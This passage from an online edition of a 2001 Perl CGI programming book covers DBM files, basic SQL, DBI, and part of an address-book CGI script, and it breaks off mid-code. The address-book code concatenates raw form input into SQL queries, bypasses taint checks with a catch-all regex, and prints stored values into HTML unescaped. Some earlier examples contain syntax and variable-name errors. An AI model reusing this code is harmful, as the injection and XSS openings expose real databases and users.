There are drawbacks to developing with CSV files. DBI adds a layer of complexity to your application that you would not otherwise need if you accessed the data directly. DBI and DBD::CSV also allow you to create only simple SQL queries, and it is certainly not as fast as a true relational database system, especially for large amounts of data.

However, if you need to get a project going, knowing that you will move to an RDBMS, and if DBD::CSV meets your immediate requirements, then this strategy is certainly a good choice. We will look at an example that uses DBD::CSV later in this chapter.

Previous | Home | Next
9.7. procmail | Book Index | 10.2. DBM Files
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


DBM Files (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

10.2. DBM Files

DBM files provide many advantages over text files for database purposes, and because Perl provides such a simple, transparent interface to working with DBM files, they are a popular choice for programming tasks that don't require a full RDBMS. DBM files are simply on-disk hash tables. You can quickly look up values by key and efficiently update and delete values in place.

To use a DBM file, you must tie a Perl hash to the file using one of the DBM modules. Example 10-3 shows some code that uses the DB_File module to tie a hash to the file user_email.db.

Example 10-3. email_lookup.cgi

#!/usr/bin/perl -wT

use strict;
use DB_File;
use Fcntl;
use CGI;

my $q        = new CGI;
my $username = $q->param( "user" );
my $dbm_file = "/usr/local/apache/data/user_email.db";
my %dbm_hash;
my $email;

tie %dbm_hash, "DB_File", $dbm_file, O_RDONLY or
    die "Unable to open dbm file $dbm_file: $!";

if ( exists $dbm_hash{$username} ) {
    $email = $q->a( { href => "mailto:$dbm_hash{$username}" },
                    $dbm_hash{$user_name} );
else {
    $email = "Username not found";
}

untie %dbm_hash;

print $q->header( "text/html" ),
      $q->start_html( "Email Lookup Results" ),
      $q->h2( "Email Lookup Results" ),
      $q->hr,
      $q->p( "Here is the email address for the username you requested: " ),
      $q->p( "Username: $username", $q->br,
             "Email: $email" ),
      $q->end_html;

There are many different formats of DBM files, and likewise there are many different DBM modules available. Berkeley DB and GDBM are the most powerful. However, for web development Berkeley DB, and the corresponding DB_File module, is the most popular choice. Unlike GDBM, it provides a simple way for you to lock the database so that concurrent writes do not truncate and corrupt your file.

10.2.1. DB_File

DB_File supports Version 1.xx functionality for Berkeley DB; Berkeley DB Versions 2.xx and 3.xx add numerous enhancements. DB_File is compatible with these later versions, but it supports only the 1.xx API. Perl support for version 2.xx and later is provided by the BerkeleyDB module. DB_File is much simpler and easier to use, however, and continues to be the more popular option. If Berkeley DB is not installed on your system, you can get it from http://www.sleepycat.com/. The DB_File and BerkeleyDB modules are on CPAN. DB_File is also included in the standard Perl distribution (although it is installed only if Berkeley DB is present).

Using DB_File is quite simple, as we saw earlier. You simply need to tie a hash to the DBM file you want to use and then you can treat it like a regular hash. The tie function takes at least two arguments: the hash you want to tie and the name of the DBM module you are using. Typically, you also provide the name of the DBM file you want to use and access flags from Fcntl. You can also specify the file permission for the new file if you are creating a file.

Often, you access hash files on a read/write basis. This complicates the code somewhat because of file locking:

use Fcntl;
use DB_File;

my %hash;
local *DBM;

my $db = tie %hash, "DB_File", $dbm_file, O_CREAT | O_RDWR, 0644 or
    die "Could not tie to $dbm_file: $!";
my $fd = $db->fd;                                            # Get file descriptor
open DBM, "+<&=$fd" or die "Could not dup DBM for lock: $!"; # Get dup filehandle
flock DBM, LOCK_EX;                                          # Lock exclusively
undef $db;                                                   # Avoid untie probs
.
.
# All your code goes here; treat %hash like a normal, basic hash
.
.
untie %hash;        # Clears buffers, then saves, closes, and unlocks file

We use the O_CREAT and O_RDWR flags imported by Fcntl to indicate that we want to open the DBM file for read/write access and create the file if it does not exist. If a new file is created, on Unix systems it is assigned 0644 as its file permissions (although umask may restrict this further). If tie succeeds, we store the resulting DB_File object in $db .

The only reason we need $db is to get the file descriptor of DB_File's underlying DBM file. By using this, we can open a read/write filehandle to this file descriptor. Finally, this gives us a filehandle we can lock with flock. We then undefine $db.

The reason we clear $db is not just to conserve RAM. Typically, when you are done working with a tied hash, you untie it, just as you would close a file, and if you do not explicitly untie it, then Perl automatically does this for you as soon as all references to the DB_File go out of scope. The catch is that untie clears only the variable that it is untying; the DBM file isn't actually written and freed until DB_File's DESTROY method is called -- when all references to the object have gone out of scope. In our code earlier, we have two references to this object: %hash and $db, so in order for the DBM file to be written and saved, both these references need to be cleared.

If this is confusing, then don't worry about the specifics. Just remember that whenever you get a DB_File object (such as $db above) in order to do file locking, undefine it as soon as you have locked the filehandle. Then untie will act like close and always be the command that frees your DBM file.

DB_File provides a very simple, efficient solution when you need to store name-value pairs. Unfortunately, if you need to store more complex data structures, you must still encode and decode them so that they can be stored as scalars. Fortunately, another module addresses this issue.

10.2.2. MLDBM

If you look at the bottom of the Perl manpage, you will see that the three great virtues of a programmer are laziness, impatience, and hubris. MLDBM is all about laziness, but in a virtuous way. With MLDBM, you don't have to worry about encoding and decoding your Perl data in order to fit the confines of your storage medium. You can just save and retrieve it as Perl.

MLDBM turns another DBM like DB_File into a multilevel DBM that is not restricted to simple key-value pairs. It uses a serializer to convert complex Perl structures into a representation that can be stored and deserialized back into Perl again. Thus, you can do things like this:

# File locking omitted for brevity
tie %hash, "MLDBM", $dbm_file, O_CREAT | O_RDWR, 0644;
$hash{mary} = {
    name     => "Mary Smith",
    position => "Vice President",
    phone    => [ "650-555-1234", "800-555-4321" ],
    email    => 'msmith@widgets.com',
};

Later, you can retrieve this information directly:

my $mary = $hash{mary};
my $position = $mary->{position};

Note that because MLDBM is so transparent it will allow you to ignore the fact that data is stored in name-value pairs:

my $work_phone = $hash{mary}{phone}[1];

However, be careful because this only works when you are reading, not when you are writing. You must still write the data as a key-value pair. This will silently fail:

$hash{mary}{email} = 'mary_smith@widgets.com';

You should do this instead:

my $mary = $hash{mary};                      # Get a copy of Mary's record
$mary{email} = 'mary_smith@widgets.com';     # Modify the copy
$hash{mary} = $mary;                         # Write the copy to the hash

MLDBM keeps track of blessed objects, so it works exceptionally well for storing objects in Perl:

use Employee;

my $mary = new Employee( "Mary Smith" );
$mary->position( "Vice President" );
$mary->phone( "650-555-1234", "800-555-4321" );
$mary->email( 'msmith@widgets.com' );
$hash{mary} = $mary;

and for retrieving them:

use Employee;

my $mary = $hash{mary};
print $mary->email;

When retrieving objects, be sure you use the corresponding module (in this case, a fictional module called Employee) before you try to access the data.

MLDBM does have limitations. It cannot store and retrieve filehandles or code references (at least not across multiple CGI requests).

When you use MLDBM, you must tell it which DBM module to use as well as which module to use for serializing and deserializing the data. The options include Storable, Data::Dumper, and FreezeThaw. Storable is the fastest, but Data::Dumper is included with Perl.

When you use MLDBM with DB_File, you can lock the underlying DBM file just like you would with DB_File:

use Fcntl;
use MLDBM qw( DB_File Storable );

my %hash;
local *DBM;

my $db = tie %hash, "MLDBM", $dbm_file, O_CREAT | O_RDWR, 0644 or
    die "Could not tie to $dbm_file: $!";
my $fd = $db->fd;                                            # Get file descriptor
open DBM, "+<&=$fd" or die "Could not dup DBM for lock: $!"; # Get dup filehandle
flock DBM, LOCK_EX;                                          # Lock exclusively
undef $db;                                                   # Avoid untie probs
.
.
# All your code goes here; treat %hash like a normal, complex hash
.
.
untie %hash;        # Clears buffers then saves, closes, and unlocks file
Previous | Home | Next
10. Data Persistence | Book Index | 10.3. Introduction to SQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introduction to SQL (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

10.3. Introduction to SQL

Because of the sheer number of different database systems that exist, most database vendors have standardized on a query language (SQL) to update as well as access their databases. Before we go any further, let's look more deeply into how this query language is used to communicate with various database systems.

SQL is the standardized language to access and manipulate data within relational database systems. The original SQL prototype defined a "structured" language, thus the term Structured Query Language, but this is no longer true of the current SQL-92 standard. SQL was designed specifically to be used in conjunction with a primary high-level programming language. In fact, most of the basic constructs that you would find in a high-level language, such as loops and conditionals, do not exist in SQL.

All major commercial relational database systems, such as Oracle, Informix, and Sybase, and many open source databases, such as PostgreSQL, MySQL, and mSQL, support SQL. As a result, the code to access and manipulate a database can be ported easily and quickly to any platform. Let's look at SQL.

10.3.1. Creating a Database

We will start out by discussing how a database is created. Suppose you have the following information:

Player | Years | Points | Rebounds | Assists | Championships
Larry Bird | 12 | 28 | 10 | 7 | 3
Magic Johnson | 12 | 22 | 7 | 12 | 5
Michael Jordan | 13 | 32 | 6 | 6 | 6
Karl Malone | 15 | 26 | 11 | 3 | 0
Shaquille O'Neal | 8 | 28 | 12 | 3 | 0
John Stockton | 16 | 13 | 3 | 11 | 0

The SQL code to create this database is:

create table Player_Info
(
    Player                    varchar (30) not null,
    Years                     integer,
    Points                    integer,
    Rebounds                  integer,
    Assists                   integer,
    Championships             integer
);

The create table command creates a database, or a table. The Player field is stored as a non-null varying character string. In other words, if the data in the field is less than thirty characters, the database will not pad it with spaces, as it would for a regular character data type. Also, the database forces the user to enter a value for the Player field; it cannot be empty.

The rest of the fields are defined to be integers. Some of the other valid data types include datetime, smallint, numeric, and decimal. The numeric and decimal data types allow you to specify floating-point values. For example, if you want a five-digit floating-point number with a precision to the hundredth place, you can specify decimal (5, 2).

10.3.2. Inserting Data

Before we discuss how to obtain data from a database table, we need to discuss how to populate the database in the first place. In SQL, we do this with the insert statement. Say we need to add another player to the database. We could do it this way:

insert into Player_Info
    values
    ('Hakeem Olajuwon', 16, 23, 12, 3, 2);

As you can see, it is very simple to insert an element into the table. However, if you have a database with a large number of columns, and you want to insert a row into the table, you can manually specify the columns:

insert into Player_Info
    (Player, Years, Points, Rebounds, Assists, Championships)
    values
    ('Hakeem Olajuwon', 10, 27, 11, 4, 2);

When used in this context, the order of the fields does not necessarily have to match the order in the database, as long as the fields and the values specified match each other.

10.3.3. Accessing Data

The language required for accessing data has a lot more features than what we have discussed so far for simply creating and inserting data into a table. These additional elements make SQL an incredibly rich language for retrieving data once it is stored inside of database tables. We will also see later that updating and deleting data relies on the information in this section in order to determine which rows in a table actually become modified or removed from the database.

Let's say you want a list of the entire database. You can use the following code:

select *
    from Player_Info;

The select command retrieves specific information from the database. In this case, all columns are selected from the Player_Info database. The "*" should be used with great caution, especially on large databases, as you might inadvertently extract a lot of information. Notice that we are dealing only with columns, and not rows. For example, if you wanted to list all the players in the database, you could do this:

select Player
    from Player_Info;

Now, what if you want to list all the players who scored more than 25 points? Here is the code needed to accomplish the task:

select *
    from Player_Info
    where Points > 25;

This would list all the columns for the players who scored more than 25 points:

Player | Years | Points | Rebounds | Assists | Championships
Larry Bird | 12 | 28 | 10 | 7 | 3
Michael Jordan | 13 | 32 | 6 | 6 | 6
Karl Malone | 15 | 26 | 11 | 3 | 0
Shaquille O'Neal | 8 | 28 | 12 | 3 | 0

But, say you wanted to list just the Player and Points columns:

select Player, Points
    from Player_Info
    where Points > 25;

Here is an example that returns all the players who scored more than 25 points and won a championship:

select Player, Points, Championships
    from Player_Info
    where Points > 25
    and Championships > 0;

The output of this SQL statement would be:

Player | Points | Championships
Larry Bird | 28 | 3
Michael Jordan | 32 | 6

You could also use wildcards in a select command. For example, the following will return all the players that have a last name of "Johnson":

select *
    from Player_Info
    where Player like '% Johnson';

This will match a string ending with "Johnson".

10.3.4. Updating Data

Let's suppose that Shaquille O'Neal won a championship. We need to update our database to reflect this. This is how it can be done:

update Player_Info
    set Championships = 1
    where Player = 'Shaquille O''Neal';

Note the where clause. In order to modify data, you have to let SQL know what rows will be set to new values. To do this, we use the same syntax that is used to access data in a table except that instead of retrieving records, we are just changing them. Also note that we must escape a single quote by using another single quote.

SQL also has methods to modify entire columns. After every basketball season, we need to increment the Years column by one:

update Player_Info
    set Years = Years + 1;

10.3.5. Deleting Data

If you wanted to delete "John Stockton" from the database, you could do this:

delete from Player_Info
    where Player = 'John Stockton';

If you want to delete all the records in the table, the following statement is used:

delete from Player_Info;

And finally, the drop table command deletes the entire database:

drop table Player_Info;

For more information on SQL, see the reference guide on SQL-92 at http://sunsite.doc.ic.ac.uk/packages/perl/db/refinfo/sql2/sql1992.txt.

Previous | Home | Next
10.2. DBM Files | Book Index | 10.4. DBI
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


DBI (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

10.4. DBI

The DBI module is the most flexible way to link Perl to databases. Applications that use relatively standard SQL calls can merely drop in a new DBI database driver whenever a programmer wishes to support a new database. Nearly all the major relational database engines have a DBI driver on CPAN. Although database-specific modules such as Sybperl and Oraperl still exist, they are being rapidly superseded by the use of DBI for most database tasks.

DBI supports a rich set of features. However, you need to use only a subset in order to accomplish most of what a simple database application requires. This section will cover how to create tables as well as insert, update, delete, and select data in those tables. Finally, we will pull it all together with an example of an address book.

While DBI supports concepts such as bind parameters and stored procedures, the behavior of these features is usually specific to the database they are being used with. In addition, some drivers may support database-specific extensions which are not guaranteed to exist in each database driver implementation. In this section we will focus on covering an overview of DBI features that are universally implemented across all DBI drivers.

10.4.1. Using DBI

In the examples here, we will use the DBD::CSV DBI driver. DBI drivers are preceded with "DBD" (database driver) followed by the actual driver name. In this case, CSV is short for "Comma Separated Value," otherwise known as a comma-delimited flat text file. The reason the examples use DBD::CSV is that this driver is the simplest in terms of feature availability, and also DBD::CSV does not require you to know how to set up a relational database engine such as Sybase, Oracle, PostgreSQL, or MySQL.

If you are using Perl on Unix, the DBD::CSV driver may be found on CPAN and should be easily compiled for your platform by following the instructions. If you are using Perl on Win32 from ActiveState, we recommend using ActiveState's PPM (Perl Package Manager) to download the DBD::CSV binaries from the ActiveState package repository for Win32 (refer to Appendix B, "Perl Modules").

10.4.1.1. Connecting to DBI

To connect to a DBI database, you need to issue the connect method. A database handle that represents the connection is returned from the connect statement if successful:

use DBI;

my $dbh = DBI->connect("DBI:CSV:f_dir=/usr/local/apache/data/stats")
      or die "Cannot connect: " . $DBI::errstr;

The use statement tells Perl which library to load for accessing DBI. Finally, the connect statement takes the string that has been passed to it and determines the database driver to load, which in this case is DBD::CSV. The rest of the string contains database driver specific information such as username and password. In the case of DBD::CSV, there is no username and password; we need to specify only a directory where files representing database tables will be stored.

When you are finished with the database handle, remember to disconnect from the database:

$dbh->disconnect;

10.4.1.2. Database manipulation

Database manipulation in DBI is quite simple. All you need to do is pass the create table, insert, update, or delete statement to the do method on the database handle. Immediately, the command will be executed:

$dbh->do( "insert into Player_Info values ('Hakeem Olajuwon', 10, 27, 11, 4, 2)")
      or die "Cannot do: " . $dbh->errstr(  );

10.4.1.3. Database querying

Querying a database with DBI involves a few more commands since there are many ways in which you might want to retrieve data. The first step is to pass the SQL query to a prepare command. This will create a statement handle that is used to fetch the results:

my $sql = "select * from Player_Info";
my $sth = $dbh->prepare($sql)
           or die "Cannot prepare: " . $dbh->errstr(  );
 $sth->execute(  ) or die "Cannot execute: " . $sth->errstr(  );

my @row;
while (@row = $sth->fetchrow_array(  )) {
  print join(",", @row) . "\n";
}
$sth->finish(  );

Once the prepare command has been issued, the execute command is used to start the query. Since a query expects return results, we use a while loop to get each database record. The fetchrow_array command is used to fetch each row that is returned as an array of fields.

Finally, we clean up the statement handle by issuing the finish method. Note that in most cases we do not have to explicitly call the finish method. It is implicitly called by virtue of the fact that we have retrieved all the results. However, if the logic of your program decided to stop retrieving records before the entire statement had finished being retrieved, then calling finish is necessary in order to flush out the statement handle.

10.4.2. DBI Address Book

Most companies with an intranet have an online address book for looking up phone numbers and other employee details. Here, we'll use DBI to implement a full address book against any database that supports SQL.

10.4.2.1. Address book database creation script

There are two scripts we need to take a look at. The first is not a web script. It is a simple script that creates the address table for the address book CGI to access:

#!/usr/bin/perl -wT

use strict;

use DBI;

my $dbh = DBI->connect("DBI:CSV:f_dir=/usr/local/apache/data/address_book")
      or die "Cannot connect: " . $DBI::errstr;
my $sth = $dbh->prepare(qq`
     CREATE TABLE address
     (lname    CHAR(15),
      fname    CHAR(15),
      dept     CHAR(35),
      phone    CHAR(15),
      location CHAR(15))`)
      or die "Cannot prepare: " . $dbh->errstr(  );
$sth->execute(  ) or die "Cannot execute: " . $sth->errstr(  );
$sth->finish(  );

$dbh->disconnect(  );

As you can see, this script puts together the DBI concepts of connecting to a database and submitting a table creation command. There is one twist though. Although it was previously demonstrated that the table creation could be accomplished through a simple do method on the database handle, the DBI code we used is similar to the DBI commands used to query a database.

In this case, we prepare the create table statement first, and then execute it as part of a statement handle. Although it is quick and easy to use the single do method, breaking up the code like this allows us to troubleshoot errors at different levels of the SQL submission. Adding this extra troubleshooting code can be very useful in a script that you need to support in production.

The final result is a table called address in the /usr/local/apache/data/address_book directory. The address table consists of five fields: lname (last name), fname (first name), dept (department), phone, and location.

10.4.2.2. Address book CGI script

The address book CGI script is a self-contained program that displays query screens as well as allows the users to modify the data in the address book in any fashion they like. The default screen consists of a list of form fields representing fields in the database you might wish to query on (see Figure 10-1). If the Maintain Database button is selected, a new workflow is presented to the user for adding, modifying, or deleting address book records (see Figure 10-2).

Figure 10-1. Address book main page

Figure 10-2. Address book maintenance page

Here's the beginning of the code for the address book CGI script:

#!/usr/bin/perl -wT

use strict;

use DBI;
use CGI;
use CGI::Carp qw(fatalsToBrowser);
use vars qw($DBH $CGI $TABLE @FIELD_NAMES @FIELD_DESCRIPTIONS);

$DBH = DBI->connect("DBI:CSV:f_dir=/usr/local/apache/data/address_book")
      or die "Cannot connect: " . $DBI::errstr;

@FIELD_NAMES = ("fname", "lname", "phone",
                "dept", "location");

@FIELD_DESCRIPTIONS = ("First Name", "Last Name", "Phone",
                       "Department", "Location");

$TABLE = "address";

$CGI = new CGI(  );

The use vars statement declares all the global variables we will use in the program. Then, we initialize the global variables for use. First, $DBH contains the database handle to be used throughout the program. Then, @FIELD_NAMES and @FIELD_DESCRIPTIONS contains a list of the field names in the database as well as their descriptive names for display to a user. @FIELD_NAMES also doubles as a list of what the form variable names that correspond to database fields will be called. $TABLE simply contains the table name.

Finally, $CGI is a CGI object that contains the information about data that was sent to the CGI script. In this program, we will make heavy use of the parameters that are sent in order to determine the logical flow of the program. For example, all the submit buttons on a form will be labelled with the prefix "submit_" plus an action. This will be used to determine which button was pressed and hence which action we would like the CGI script to perform.

if ($CGI->param( "submit_do_maintenance" ) ) {
  displayMaintenanceChoices( $CGI );
}
elsif ( $CGI->param( "submit_update" ) ) {
  doUpdate( $CGI, $DBH );
}
elsif ( $CGI->param( "submit_delete" ) ) {
  doDelete( $CGI, $DBH );
}
elsif ( $CGI->param( "submit_add" ) ) {
  doAdd( $CGI, $DBH );
}
elsif ( $CGI->param( "submit_enter_query_for_delete" ) ) {
  displayDeleteQueryScreen( $CGI );
}
elsif ( $CGI->param( "submit_enter_query_for_update" ) ) {
  displayUpdateQueryScreen( $CGI );
}
elsif ( $CGI->param( "submit_query_for_delete" ) ) {
  displayDeleteQueryResults( $CGI, $DBH );
}
elsif ( $CGI->param( "submit_query_for_update" ) ) {
  displayUpdateQueryResults( $CGI, $DBH );
}
elsif ( $CGI->param( "submit_enter_new_address" ) ) {
  displayEnterNewAddressScreen( $CGI );
}
elsif ( $CGI->param( "submit_query" ) ) {
  displayQueryResults( $CGI, $DBH );
}
else {
  displayQueryScreen( $CGI );
}

As we just described, we are using the $CGI variable to determine the flow of control through the CGI script. This big if block may look a bit messy, but the reality is that you only need to go to one spot in this program to see a description of what the entire program does. From this if block, we know that the program deals with displaying the query screen by default, but based on other parameters may display a new address screen, update query screen, delete query screen, and various query result screens, as well as various data modification result screens.

sub displayQueryScreen {
  my $cgi = shift;

  print $cgi->header(  );

print qq`
<HTML>
<HEAD>
<TITLE>Address Book</TITLE>
</HEAD>

<BODY BGCOLOR = "FFFFFF" TEXT = "000000">

<CENTER>
<H1>Address Book</H1>
</CENTER>
<HR>

<FORM METHOD=POST>

<H3><STRONG>Enter Search criteria: </STRONG></H3>
<TABLE>
<TR>
  <TD ALIGN="RIGHT">First Name:</TD>
  <TD><INPUT TYPE="text" NAME="fname"></TD>
</TR>
<TR>
  <TD ALIGN="RIGHT">Last Name:</TD>
  <TD><INPUT TYPE="text" NAME="lname"></TD>
</TR>
<TR>
  <TD ALIGN="RIGHT">Phone:</TD>
  <TD><INPUT TYPE="text" NAME="PHONE"></TD>
</TR>
<TR>
  <TD ALIGN="RIGHT">Department:</TD>
  <TD><INPUT TYPE="text" NAME="dept"></TD>
</TR>
<TR>
  <TD ALIGN="RIGHT">Location:</TD>
  <TD><INPUT TYPE="text" NAME="location"></TD>
</TR>
</TABLE>
<P>

<INPUT TYPE="checkbox" NAME="exactmatch">
  <STRONG> Perform Exact Match</STRONG>
  (Default search is case sensitive against partial word matches)
 <P>
<INPUT TYPE="submit" name="submit_query" value="Do Search">
<INPUT TYPE="submit" name="submit_do_maintenance" value="Maintain Database">
<INPUT TYPE="reset" value="Clear Criteria Fields">
</FORM>

<P><HR>

</BODY></HTML>
`;

} # end of displayQueryScreen

sub displayMaintenanceChoices {
  my $cgi = shift;
  my $message = shift;

  if ($message) {
    $message = $message . "\n<HR>\n";
  }

  print $cgi->header(  );

  print qq`<HTML>
<HEAD><TITLE>Address Book Maintenance</TITLE></HEAD>

<BODY BGCOLOR="FFFFFF">
<CENTER>
<H1>Address Book Maintenance</H1>
<HR>
$message
<P>

<FORM METHOD=POST>

<INPUT TYPE="SUBMIT" NAME="submit_enter_new_address" VALUE="New Address">
<INPUT TYPE="SUBMIT" NAME="submit_enter_query_for_update" VALUE="Update Address">
<INPUT TYPE="SUBMIT" NAME="submit_enter_query_for_delete" VALUE="Delete Address">
<INPUT TYPE="SUBMIT" NAME="submit_nothing" VALUE="Search Address">

</FORM>
</CENTER>
<HR>
</BODY></HTML>`;

} # end of displayMaintenanceChoices

sub displayAllQueryResults {
  my $cgi = shift;
  my $dbh = shift;
  my $op  = shift;

  my $ra_query_results = getQueryResults($cgi, $dbh);

  print $cgi->header(  );

  my $title;
  my $extra_column = "";
  my $form = "";
  my $center = "";
  if ($op eq "SEARCH") {
    $title = "AddressBook Query Results";
    $center = "<CENTER>";
  } elsif ($op eq "UPDATE") {
    $title = "AddressBook Query Results For Update";
    $extra_column = "<TH>Update</TH>";
    $form = qq`<FORM METHOD="POST">`;
  } else {
    $title = "AddressBook Query Results For Delete";
    $extra_column = "<TH>Delete</TH>";
    $form = qq`<FORM METHOD="POST">`;
  }

  print qq`<HTML>
<HEAD><TITLE>$title</TITLE></HEAD>
<BODY BGCOLOR="WHITE">
$center
<H1>Query Results</H1>
<HR>
$form
<TABLE BORDER=1>
`;

  print "<TR>$extra_column"
        . join("\n", map("<TH>" . $_ . "</TH>", @FIELD_DESCRIPTIONS))
        . "</TR>\n";

  my $row;
  foreach $row (@$ra_query_results) {
    print "<TR>";
    if ($op eq "SEARCH") {
      print join("\n", map("<TD>" . $_ . "</TD>", @$row));
    } elsif ($op eq "UPDATE") {
      print qq`\n<TD ALIGN="CENTER">
            <INPUT TYPE="radio" NAME="update_criteria" VALUE="` .
            join("|", @$row) . qq`"></TD>\n`;
      print join("\n", map("<TD>" . $_ . "</TD>", @$row));
    } else { # delete
      print qq`\n<TD ALIGN="CENTER">
            <INPUT TYPE="radio" NAME="delete_criteria" VALUE="` .
            join("|", @$row) . qq`"></TD>\n`;
      print join("\n", map("<TD>" . $_ . "</TD>", @$row));
    }
    print "</TR>\n";
  }

  print qq"</TABLE>\n";

  if ($op eq "UPDATE") {
    my $address_table = getAddressTableHTML(  );

    print qq`$address_table
      <INPUT TYPE="submit" NAME="submit_update" VALUE="Update Selected Row">
      <INPUT TYPE="submit" NAME="submit_do_maintenance" VALUE="Maintain Database">
      </FORM>
      `;
  } elsif ($op eq "DELETE") {
    print qq`<P>
      <INPUT TYPE="submit" NAME="submit_delete" VALUE="Delete Selected Row">
      <INPUT TYPE="submit" NAME="submit_do_maintenance" VALUE="Maintain Database">
      </FORM>
      `;
  } else {
    print "</CENTER>";
  }

  print "</BODY></HTML>\n";

}

sub getQueryResults {
  my $cgi = shift;
  my $dbh = shift;

  my @query_results;
  my $field_list = join(",", @FIELD_NAMES);
  my $sql = "SELECT $field_list FROM $TABLE";

  my %criteria = (  );

  my $field;
  foreach $field (@FIELD_NAMES) {
    if ($cgi->param($field)) {
      $criteria{$field} = $cgi->param($field);
    }
  }

  # build up where clause
  my $where_clause;
  if ($cgi->param('exactmatch')) {
    $where_clause = join(" and ",
                    map ($_
                         . " = \""
                         . $criteria{$_} . "\"", (keys %criteria)));
  } else {
    $where_clause = join(" and ",
                    map ($_
                         . " like \"%"
                         . $criteria{$_} . "%\"", (keys %criteria)));

  }
  $where_clause =~ /(.*)/;
  $where_clause = $1;

  $sql = $sql . " where " . $where_clause if ($where_clause);

  my $sth = $dbh->prepare($sql)
           or die "Cannot prepare: " . $dbh->errstr(  );
  $sth->execute(  ) or die "Cannot execute: " . $sth->errstr(  );

  my @row;
  while (@row = $sth->fetchrow_array(  )) {
    my @record = @row;
    push(@query_results, \@record);
  }
  $sth->finish(  );

  return \@query_results;

} # end of getQueryResults

sub displayQueryResults {
  my $cgi = shift;
  my $dbh = shift;

  displayAllQueryResults($cgi,$dbh,"SEARCH");

} # end of displayQueryResults

sub displayUpdateQueryResults {
  my $cgi = shift;
  my $dbh = shift;

  displayAllQueryResults($cgi,$dbh,"UPDATE");

} # end of displayUpdateQueryResults

sub displayDeleteQueryResults {
  my $cgi = shift;
  my $dbh = shift;

  displayAllQueryResults($cgi, $dbh, "DELETE");

} # end of displayDeleteQueryResults

sub doAdd {
  my $cgi = shift;
  my $dbh = shift;

  my @value_array = (  );
  my @missing_fields = (  );

  my $field;
  foreach $field (@FIELD_NAMES){
    my $value = $cgi->param($field);
    if ($value) {
      push(@value_array, "'" . $value . "'");
    } else {
      push(@missing_fields, $field);
    }
  }

  my $value_list = "(" . join(",", @value_array) . ")";
  $value_list =~ /(.*)/;
  $value_list = $1;
  my $field_list = "(" . join(",", @FIELD_NAMES) . ")";

  if (@missing_fields > 0) {
    my $error_message =
      qq`<STRONG> Some Fields (` . join(",", @missing_fields) .
      qq`) Were Not
            Entered!
            Address Not Inserted.
         </STRONG>`;
    displayErrorMessage($cgi, $error_message);

  } else {

    my $sql = qq`INSERT INTO $TABLE $field_list VALUES $value_list`;
    my $sth = $dbh->prepare($sql)
           or die "Cannot prepare: " . $dbh->errstr(  );
    $sth->execute(  ) or die "Cannot execute: " . $sth->errstr(  );
    $sth->finish(  );

    displayMaintenanceChoices($cgi,"Add Was Successful!");

  }

} # end of doAdd

sub doDelete {
  my $cgi = shift;
  my $dbh = shift;

  my $delete_criteria = $cgi->param("delete_criteria");
  if (!$delete_criteria) {
    my $error_message =
      "<STRONG>You didn't select a record to delete!</STRONG>";
    displayErrorMessage($cgi, $error_message);
  } else {

    my %criteria = (  );

    my @field_values = split(/\|/, $delete_criteria);
    for (1..@FIELD_NAMES) {
      $criteria{$FIELD_NAMES[$_ - 1]} =
        $field_values[$_ - 1];
    }

    # build up where clause
    my $where_clause;
    $where_clause = join(" and ",
                    map ($_
                         . " = \""
                         . $criteria{$_} . "\"", (keys %criteria)));
    $where_clause =~ /(.*)/;
    $where_clause = $1;

    my $sql = qq`DELETE FROM $TABLE WHERE $where_clause`;
    my $sth = $dbh->prepare($sql)
           or die "Cannot prepare: " . $dbh->errstr(  );
    $sth->execute(  ) or die "Cannot execute: " . $sth->errstr(  );
    $sth->finish(  );

    displayMaintenanceChoices($cgi,"Delete Was Successful!");

  }

} # end of doDelete

sub doUpdate {
  my $cgi = shift;
  my $dbh = shift;

  my $update_criteria = $cgi->param("update_criteria");
  if (!$update_criteria) {
    my $error_message =
      "<STRONG>You didn't select a record to update!</STRONG>";
    displayErrorMessage($cgi, $error_message);
  } else {

    # build up set logic
    my $set_logic = "";
    my %set_fields = (  );
    my $field;
    foreach $field (@FIELD_NAMES) {
      my $value = $cgi->param($field);
      if ($value) {
        $set_fields{$field} = $value;
      }
    }
    $set_logic = join(", ",
                 map ($_ . " = \"" . $set_fields{$_} . "\"",
                 (keys %set_fields)));
    $set_logic = " SET $set_logic" if ($set_logic);
    $set_logic =~ /(.*)/;
    $set_logic = $1;

    my %criteria = (  );

    my @field_values = split(/\|/, $update_criteria);
    for (1..@FIELD_NAMES) {
      $criteria{$FIELD_NAMES[$_ - 1]} =
        $field_values[$_ - 1];
    }

    # build up where clause
    my $where_clause;
    $where_clause = join(" and ",
                    map ($_
                         . " = \""
                         . $criteria{$_} . "\"", (keys %criteria)));
    $where_clause =~ /(.*)/;
    $where_clause = $1;

    my $sql = qq`UPDATE $TABLE $set_logic` .
                  qq` WHERE $where_clause`;

    my $sth = $dbh->prepare($sql)
           or die "Cannot prepare: " . $dbh->errstr(  );
    $sth->execute(  ) or die "Cannot execute: " . $sth->errstr(  );
    $sth->finish(  );

    displayMaintenanceChoices($cgi,"Update Was Successful!");

  }

} # end of doUpdate

sub displayEnterNewAddressScreen {
  my $cgi = shift;

  displayNewDeleteUpdateScreen($cgi, "ADD");

} # end of displayEnterNewAddressScreen

sub displayUpdateQueryScreen {
  my $cgi = shift;

  displayNewDeleteUpdateScreen($cgi, "UPDATE");

} # end of displayUpdateQueryScreen

sub displayDeleteQueryScreen {
  my $cgi = shift;

  displayNewDeleteUpdateScreen($cgi, "DELETE");

} # end of displayDeleteQueryScreen

sub displayNewDeleteUpdateScreen {
  my $cgi       = shift;
  my $operation = shift;

  my $address_op = "Enter New Address";
  $address_op = "Enter Search Criteria For Deletion" if ($operation eq "DELETE");
  $address_op = "Enter Search Criterio For Updates" if ($operation eq "UPDATE");

  print $cgi->header(  );

# Prints out the header
print qq`
<HTML><HEAD>
<TITLE>Address Book Maintenance</TITLE>
</HEAD>

<BODY BGCOLOR="FFFFFF">

<H1>$address_op</H1>

<HR>
<P>
<FORM METHOD=POST>
`;

if ($operation eq "ADD") {
  print "Enter The New Information In The Form Below\n";
} elsif ($operation eq "UPDATE") {
  print "Enter Criteria To Query On In The Form Below.<P>\nYou will then be
  able to choose entries to modify from the resulting list.\n";
} else {
